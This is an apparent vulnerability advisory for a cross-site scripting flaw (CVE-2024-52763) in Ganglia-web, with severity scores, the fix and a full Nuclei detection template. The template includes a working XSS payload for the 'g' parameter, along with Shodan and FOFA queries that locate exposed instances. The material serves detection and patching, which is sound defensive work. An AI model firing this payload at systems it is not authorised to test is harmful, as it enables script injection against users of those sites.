Ganglia Web Interface (v3.7.3 - v3.7.5) - Cross-Site Scripting

mediumseverity

5.4CVSS score

0.7%likelihood of exploitation, next 30 days

52%of all CVEs are less likely

Readycheck to confirm it

A cross-site scripting (XSS) vulnerability in the component /graph_all_periods.php of Ganglia-web v3.73 to v3.75 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the "g" parameter.

Impact

Authenticated attackers can execute arbitrary JavaScript or HTML in victim browsers by injecting malicious payloads into the g parameter.

Fix

Update Ganglia-web to version 3.7.6 or later to address the XSS vulnerability in the graph parameter.

How to confirm it

Send: GET /ganglia/graph_all_periods.php?g=%22%22%20autofocus%20onfocus=alert(document.domain)//%22
Positive when: contains "\"\" autofocus onfocus=alert(document.domain)//\"" and "metricActions" AND contains in content_type "text/html"

Run it with nuclei: nuclei -id CVE-2024-52763 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2024-52763

info:
  name: Ganglia Web Interface (v3.7.3 - v3.7.5) - Cross-Site Scripting
  author: DhiyaneshDK
  severity: medium
  description: |
    A cross-site scripting (XSS) vulnerability in the component /graph_all_periods.php of Ganglia-web v3.73 to v3.75 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the "g" parameter.
  impact: |
    Authenticated attackers can execute arbitrary JavaScript or HTML in victim browsers by injecting malicious payloads into the g parameter.
  remediation: |
    Update Ganglia-web to version 3.7.6 or later to address the XSS vulnerability in the graph parameter.
  reference:
    - https://github.com/ganglia/ganglia-web/issues/382
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2024-52763
    cwe-id: CWE-79
    epss-score: 0.00652
    epss-percentile: 0.51571
    cpe: cpe:2.3:a:ganglia:ganglia-web:*:*:*:*:*:*:*:*
  metadata:
    vendor: ganglia
    product: ganglia-web
    shodan-query: http.html:"ganglia_form.submit()"
    fofa-query: body="ganglia_form.submit()"
  tags: cve,cve2024,xss,ganglia,vkev,vuln

http:
  - raw:
      - |
        GET /ganglia/graph_all_periods.php?g=%22%22%20autofocus%20onfocus=alert(document.domain)//%22 HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"" autofocus onfocus=alert(document.domain)//"'
          - 'metricActions'
        condition: and

      - type: word
        part: content_type
        words:
          - "text/html"

References

https://github.com/ganglia/ganglia-web/issues/382

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